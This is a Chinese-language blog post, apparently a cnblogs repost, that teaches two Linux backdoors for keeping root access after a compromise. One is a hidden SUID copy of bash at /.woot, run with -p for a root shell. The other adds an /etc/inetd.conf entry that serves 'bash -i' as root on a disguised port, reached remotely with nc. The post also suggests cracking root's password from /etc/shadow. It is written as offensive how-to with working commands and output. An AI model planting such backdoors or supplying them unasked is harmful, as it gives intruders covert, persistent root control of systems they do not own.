zoukankan      html  css  js  c++  java
  • LINUX的两种后门总结(suid shell与inetd)

    前提: 
    你现在已经是root用户, 想留一个后门以便日后再一次进入。

    系统环境: 

    1 dawg:~# uname -a
    2 Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

    1. SUID shell

    关于SUID位的知识,请点这里
    首先, 先切换成为root用户,并执行以下的命令:

    1 dawg:~# cp /bin/bash /.woot
    2 dawg:~# chmod 4755 /.woot
    3 dawg:~# ls -al /.woot
    4 -rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

    当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .

    现在,做为一个普通用户,我们来启用这个后门:

    1 fw@dawg:~$ id
    2 uid=1000(fw) gid=1000(fw) groups=1000(fw)
    3 fw@dawg:~$ /.woot
    4 .woot-2.05b$ id
    5 uid=1000(fw) gid=1000(fw) groups=1000(fw)
    6 .woot-2.05b$

    法克!为什么不行呢?

    因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:

    1 .woot-2.05b$ /.woot -p
    2 .woot-2.05b# id
    3 uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

    使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里

    这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径

    小知识:
    如何查找那些具有 SUID 的文件:

    1 dawg:~# find / -perm +4000 -ls

    这时就会返回具有SUID位的文件啦。

    2. 远程后门:利用 /etc/inetd.conf

    我们使用vi来修改 /etc/inetd.conf 文件

    原文件:

    1 #chargen dgram udp wait root internal
    2 #discard stream tcp nowait root internal
    3 #discard dgram udp wait root internal
    4 #daytime stream tcp nowait root internal

    修改为:

    1 #discard stream tcp nowait root internal
    2 #discard dgram udp wait root internal
    3 daytime stream tcp nowait root /bin/bash bash -i

    开启inetd:

    1 dawg:~#  inetd

    如果要强制重启inetd:

    1 dawg:~# ps -ef | grep inetd
    2 root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd
    3 root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd
    4 dawg:~# kill -HUP 362

    现在我们就可以用nc来搞定:

    01 C:tools<nc -vv 192.168.1.77 13
    02 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
    03 (UNKNOWN) [192.168.1.77] 13 (daytime) open
    04  
    05 bash: no job control in this shell
    06 bash-2.05b# bash-2.05b#
    07 bash-2.05b# id
    08 uid=0(root) gid=0(root) groups=0(root)
    09 bash-2.05b# uname -a
    10 Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

    小贴士:

    我们来一招更厉害的:

    我们可以修改/etc/services文件,加入以下的东西:

    1 woot 6666/tcp  #evil backdoor service

    然后修改/etc/inetd.conf  :

    1 woot stream tcp nowait root /bin/bash bash -i

    我们可以修改成一些常见的端口,以实现隐藏。

    其实 /etc/shadow文件,爆破root的密码才最保险啊!

  • 相关阅读:
    nohup 忽略 nohup.out 输出
    elementui 发送时间格式到 gin 后端问题
    在 Ubuntu 下使用 Puppeteer 时无法加载类库 libX11-xcb.so.1
    获取注解上的注解
    tomcat 远程 debug
    使用pytorch-lightning漂亮地进行深度学习研究(转)
    CTR预估模型发展历程(转)
    pytorch重要函数介绍
    Dataset和Dataloader
    推荐系统中的ID特征为什么有用?
  • 原文地址:https://www.cnblogs.com/milantgh/p/3601812.html
Copyright © 2011-2022 走看看